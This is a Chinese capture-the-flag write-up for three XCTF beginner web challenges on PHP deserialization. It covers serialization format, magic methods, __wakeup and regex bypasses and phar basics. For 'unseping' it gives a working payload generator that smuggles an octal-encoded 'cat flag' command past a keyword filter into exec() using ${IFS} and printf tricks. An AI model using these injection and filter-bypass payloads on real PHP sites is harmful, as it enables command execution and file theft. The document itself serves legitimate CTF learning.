XCTF(攻防世界)---Web新手区题目WP

unseping,unserialize3,php_unserialize:

       知识点: PHP序列化与反序列化

基本知识:

<?php
$b = array('hello', 'world', '!!!');
$b = serialize($a);
echo($b.PHP_EOL);
?>输出:
a:3:{i:0;s:5:"hello";i:1;s:5:"world";i:2;s:3:"!!!";}
a:代表数组array,后面的3代表有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为xiao长度为4

 Notes:1.如果变量前是protected,序列化后则会在变量名前加上\x00*\x00;

    2.若是private则会在变量名前加上\x00类名\x00,输出时一般需要url编码;

              3.若在本地存储推荐采用base64编码的形式;但在版本7.1以上则对于类属性不敏感;

              4.对于类而言,序列化后的内容只有成员变量,没有成员函数;

序列化与反序列化中常见魔术方法: 

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

Tricks:

        1.绕过__wakeup:​ PHP5 < 5.6.25、PHP7 < 7.0.10

                序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

        2.绕过部分正则:preg_match('/^O:\d+/')--匹配序列化字符串是否是对象字符串开头

                1、'+'(加号)绕过(注意在url里传参时+要编码为%2B)

                        'O:4:"test":1:{s:1:"a";s:3:"abc";}' --->'O:+4:"test":1:{s:1:"a";s:3:"abc";}'
                2、serialize(array(a)) --a为要反序列化的对象

                        'a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}'

        3.16进制绕过字符的过滤:

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。

Phar反序列化:

 介绍:phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容

在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发

php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize())。 phar://就是一种内置的流包装器。

php中一些常见的流包装器如下:

file://    — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http://    — 访问 HTTP(s) 网址
ftp://     — 访问 FTP(s) URLs
php://     — 访问各个输入/输出流(I/O streams)
zlib://    — 压缩流
data://    — 数据(RFC 2397)
glob://    — 查找匹配的文件路径模式
phar://    — PHP 归档
ssh2://    — Secure Shell 2
rar://     — RAR
ogg://     — 音频流
expect://  — 处理交互式的流

Phar文件结构

stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:被压缩文件的内容
signature (可空):签名,放在末尾。

.......后面再补充,这个点我也不是很懂

unseping wp: 

        trick: 

                ${Z},${IFS}绕过空格

                '' 单引号,"" 双引号拼接绕过:'l""s'-->'ls'

                $(printf "\154\163")==ls命令(\154\163为ls八进制编码)

页面给出源码:

<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) { //构造函数$this->method = $method;$this->args = $args;}function __destruct(){ //析构函数if (in_array($this->method, array("ping"))) { //methon必须为ping才能执行下一步,所以第一个参数确定为"ping"call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result); //执行ip命令,结果放在result中var_dump($result);  //输出执行结果  很明显这里是利用点,也对应上一步methon为ping}function waf($str){  //waf过滤 则必须考虑绕过if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str; } else {echo "don't hack";}}function __wakeup(){ //unserialize()反序列化时调用foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

相关函数说明:

call_user_func_array(callable $callback, array $args):调用回调函数,并把一个数组参数作为回调函数的参数

callback:被调用的回调函数。

args:要被传入回调函数的数组,这个数组得是索引数组。

in_array(mixed $needle, array $haystack, bool $strict = false):检查数组中是否存在某个值

needle:待搜索的值。注意:若 needle 是字符串,则比较区分大小写。

haystack:待搜索的数组。

strict:若第三个参数 strict 的值为 true 则 in_array() 函数还会检查 needle 的类型是否和 haystack 中的相同

exec(string $command, array &$output = null, int &$result_code = null):执行 command 参数所指定的命令

command:要执行的命令。

output:若提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。 数组中的数据不包含行尾的空白字符。 注意,若数组中已经包含了部分元素,exec() 函数会在数组末尾追加内容。如果你不想在数组末尾进行追加, 请在传入 exec() 函数之前 对数组使用 unset() 函数进行重置。

result_code:如果同时提供 output 和 result_code 参数,命令执行后的返回状态会被写入到此变量。

payload:

代码审计:ctf传参-->base64_decode()解码-->unserialize()-->__construct()-->__wakeup()-->waf()-->__destruct()-->call_user_func_arrary()-->ping()

逆向倒推(不考虑过滤):flag-->ping(system("cat flagxxxx"))-->call_user_func_arrary("ping", "system("cat flagxxxx")")-->method="ping", args="system("cat flagxxxx")"-->serialize(new ease(method,args))-->base64_encode()

因为有过滤,所以args参数要进行绕过:这里尝试了很多方法都不能绕过/,直接给出answer

<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) { $this->method = $method;$this->args = $args;}}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));//$b --> 'l""s' ==>  flag_1s_here
//$b --> 'l""s${IFS}f""lag_1s_here' ==> flag_831b69012c67b35f.php
//但是最后 / 无法绕过--> $(printf "cat flag_1s_here/flag_831b69012c67b35f.php") 把cat flag_1s_here/flag_831b69012c67b35f.php进行八进制编码即可
//最终$b='$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'
$a = new ease("ping", array($b));
$a = serialize($a);
echo base64_encode($a);
?>

unserialize3 wp:

        trick:

                修改属性值绕过__wakeup

页面给出源码:

        修正反序列化字符串属性个数绕过__wakeup()函数即可,这里payload就不写了

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

php_unserialize wp:

        trick:

                修改属性值绕过__wakeup

                +绕过部分正则:preg_match('/[oc]:\d+:/i', $var)

页面给出源码:

        参数传入fl4.php,把f序列化字符串中的O:4改为O:+4,并修正反序列化字符串属性个数绕过__wakeup()函数即可,payload就不写了

<?php 
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); //输出file内容}function __wakeup() {  if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; //会把file设置为index.php,所以的绕过__wakeup()} } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { //过滤o(c):数字: (不区分大小写)die('stop hacking!'); } else {@unserialize($var); //利用点} 
} else { highlight_file("index.php"); 
} 
?>

        

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/153251.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue3-响应式核心

​&#x1f308;个人主页&#xff1a;前端青山 &#x1f525;系列专栏&#xff1a;Vue篇 &#x1f516;人终将被年少不可得之物困其一生 依旧青山,本期给大家带来vue篇专栏内容:vue3-响应式核心 响应式核心 目录 响应式核心 3.1ref() 3.2computed () 3.3 reactive() 3.4 …

【代码随想录】算法训练计划27

回溯 1、39. 组合总和 题目&#xff1a; 给你一个 无重复元素 的整数数组 candidates 和一个目标整数 target &#xff0c;找出 candidates 中可以使数字和为目标数 target 的 所有 不同组合 &#xff0c;并以列表形式返回。你可以按 任意顺序 返回这些组合。 candidates 中的…

【Java】多线程-wait/notify

1、wait和notify Java的多线程中&#xff0c;线程的执行顺序和时间都是不定的。为了控制线程的调度顺序&#xff0c;前面我们引入了join()方法。 但是join()只能在线程执行完后&#xff0c;才能执行其他线程&#xff0c;有没有什么方法可以在线程执行顺序中来调度其他线程呢&…

CTF-PWN-小tips

文章目录 overflowscanfgetreadstrcpystrcat Find string in gdbgdbgdb peda Binary ServiceFind specific function offset in libc手工自动 Find /bin/sh or sh in library手动自动 Leak stack addressFork problem in gdbSecret of a mysterious section - .tlsPredictable …

【腾讯云 HAI域探秘】高性能服务器引领AI革新浪潮:从AI绘画、知识问答到PyTorch图像分类、视频检测的全方位探索

目录 1 HAI&#xff08;高性能应用服务&#xff09;简介2 HAI的应用场景2.1 HAI在AI作画中的灵活性与效率2.2 深入探索LLM语言模型的应用与性能2.3 HAI支持的AI模型开发环境与工具 3 基于stable difussio的AI 绘画应用实践3.1 使用AI模型中的stable diffusion模型服务3.2 设置和…

10个好用的Mac数据恢复软件推荐—恢复率高达99%

如果您正在寻找最好的 Mac 数据恢复软件来检索意外删除或丢失的文件&#xff0c;那么这里就是您的最佳选择。 我们理解&#xff0c;当您找不到 Mac 计算机或外部驱动器上保存的一些重要文件时&#xff0c;会感到多么沮丧和绝望。这些文件非常珍贵&#xff0c;无论出于何种原因…

【寒武纪(14)】硬件系统由标量指令、向量指令、张量指令、访存指令构成

我们在文档《Cambricon-BANG-C-Developer-Guide-EN-v4.5.1》的build-in function 发现&#xff0c;存在三种计算&#xff1a;矩阵乘法、标量类型、向量。 查阅《Cambricon-BANG-C-CProgramming-Guide-CN-v1.5.0.pdf》可知&#xff0c;硬件系统由标量指令、向量指令、张量指令、…

vscode设置前进、后退快捷键

前言 在我们使用vscode编写程序时&#xff0c;经常需要在不同的文件之间跳来跳去&#xff0c;如果只是依靠个人记忆去操作会显得非常不方便。本文介绍如何设置vscode的前进、后退快捷键。 1 vscode设置前进、后退快捷键 点击“设置”图标&#xff0c;然后点击“键盘快捷方式…

各类软件docker安装

docker Docker 要求 CentOS 系统的内核版本高于 3.10 &#xff0c;通过 uname -r 命令查看你当前的内核版本&#xff1a; uname -r 3.10.0-1062.1.2.el7.x86_64 安装 Docker&#xff1a; 安装 Docker&#xff1a;yum -y install dockerkafka和zookeeper docker pull wurstmei…

python刷题笔记1(42例题)

1. split()函数 str.split([sep [, maxsplit]]) 分割字符串&#xff0c;返回一个数组 2. 判断子串 # 判断子串是否在主串里面&#xff0c;是则输出“Yes”&#xff0c;否则输出“No” str1 input("子串&#xff1a;") str2 input("主串:") if str1 in s…

通信原理板块——差错控制编码或纠错编码

微信公众号上线&#xff0c;搜索公众号小灰灰的FPGA,关注可获取相关源码&#xff0c;定期更新有关FPGA的项目以及开源项目源码&#xff0c;包括但不限于各类检测芯片驱动、低速接口驱动、高速接口驱动、数据信号处理、图像处理以及AXI总线等 1、背景 数字信号在传输过程中&…

【寒武纪(13)】BANGC 报错 stack smashing detected

报错&#xff1a; *** stack smashing detected ***: <unknown> terminated *** stack smashing detected ***: <unknown> terminated CMake Error at mluop_generated_fault_kernel.mlu.o.cmake:221 (message):Error generating file/mnt/data/ef2301-sdk-0.10.0…

什么是策划能力?如何提高策划能力?

什么是策划能力&#xff1f; 通常我们理解的策划能力&#xff0c;大多指的是策划活动&#xff0c;比如举办一次活动先要进行活动策划&#xff0c;形成具体的行动方案&#xff0c;然后开展组织人力物力等资源&#xff0c;最终落地实施。策划能力包含活动策划&#xff0c;但又不…

vscode设置代码模板

一键生成vue3模板代码 效果演示 输入vue3 显示快捷键 按回车键 一键生成自定义模板 实现方法 进入用户代码片段设置 选择片段语言 vue.json输入自定义的代码片段 prefix是触发的内容&#xff0c;按自己的喜好来就行&#xff1b; body是模板代码&#xff0c;写入自己需要的…

UE TransformVector 学习笔记

假如算现在枪的位置&#xff0c;那么就是先拿人的位置再拿枪在本地的相对位置相加&#xff0c;就是枪的位置&#xff0c;也就是枪在场景中的位置&#xff0c;那么这里还可以写成Actor的变化和枪的相对位置连在TransformVector上&#xff0c;返回的就是枪的场景位置 这里做反算&…

uniapp APP下载流文件execl 并用WPS打开

使用plus.downloader.createDownload 方法将新建下载任务 HTML5 API Reference export default function plusDownload(config){if(!config){console.error("Argument should not be null");return;}const urlrequest.baseUrlconfig.url;let token uni.getStorage…

会议剪影 | 思腾合力受邀出席第四届长三角文博会并作主题演讲

以“担当新使命:长三角文化产业的力量”为主题的「第四届长三角国际文化产业博览会」于2023年11月16日-19日在国家会展中心&#xff08;上海&#xff09;成功举办。思腾合力作为行业领先的人工智能基础架构解决方案商出席本次盛会。 此次展会的面积首次超过10万平米&#xff0c…

PHP8新特性

PHP 8是PHP语言的最新版本&#xff0c;于2020年11月发布。它带来了许多新功能和改进&#xff0c;使PHP更强大、更高效。 1、JIT编译器&#xff1a;PHP 8引入了JIT&#xff08;即时编译&#xff09;编译器&#xff0c;它可以将PHP代码直接编译为机器代码&#xff0c;提高了执行速…